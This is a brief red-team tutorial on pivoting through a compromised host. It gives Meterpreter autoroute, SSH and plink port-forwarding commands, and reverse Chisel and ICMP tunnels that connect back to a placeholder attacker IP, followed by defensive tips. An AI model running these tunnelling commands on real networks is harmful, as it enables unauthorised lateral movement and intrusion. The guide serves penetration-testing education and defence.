Pivoting in Red Team Operations: A Complete Guide

Introduction

In a real-world red team operation, gaining initial access is just the beginning. The real challenge is pivoting—the ability to move laterally, escalate privileges, and compromise additional systems within the network.

What is Pivoting?

Pivoting is a technique used to route traffic through a compromised host to access internal networks that are not directly reachable.

Types of Pivoting

• Network Pivoting: Routes network traffic through a compromised host (e.g., SSH Tunneling, Metasploit, ProxyChains).
• Port Forwarding: Exposes specific ports from an internal machine to the attacker (e.g., SSH Local Port Forwarding).

Step 1: Pivoting Using Metasploit

Setting Up a Pivot via Meterpreter

meterpreter> background
run autoroute -s 192.168.1.0/24

Now, all traffic destined for 192.168.1.0/24 will be routed through this compromised host.

Step 2: Pivoting with SSH Tunneling

Using Local Port Forwarding

ssh -L 8080:192.168.1.100:80 user@pivot-host

Using Dynamic Port Forwarding (SOCKS Proxy)

ssh -D 9050 user@pivot-host

Step 3: Pivoting with Chisel

Setup on Attacker Machine

./chisel server --reverse --port 8080

Setup on Compromised Host

./chisel client <attacker-ip>:8080 R:1080:socks

Step 4: Pivoting with RDP (Remote Desktop Protocol)

plink.exe -ssh -L 3389:192.168.1.100:3389 user@pivot-host

Step 5: Exploiting Firewall Rules with ICMP Tunnel

Start ICMP Server on Attacker Machine

./icmp-server eth0

Start ICMP Client on Compromised Host

./icmp-client <attacker-ip>

How to Defend Against Pivoting Attacks

• Segment Networks – Isolate DMZ, internal, and user networks.
• Use Firewalls – Block unnecessary outbound traffic.
• Monitor SOCKS & Proxy Usage – Detect unusual traffic.
• Implement EDR Solutions – Detect tunneling and backdoors.
• Disable Unused Services – Prevent lateral movement.

Conclusion

Pivoting is a critical skill for red teamers, allowing attackers to move deeper into a network after initial access.

⚠️ Reminder: These techniques should only be used for legal penetration testing and red team assessments.

The above code can be automated via customer script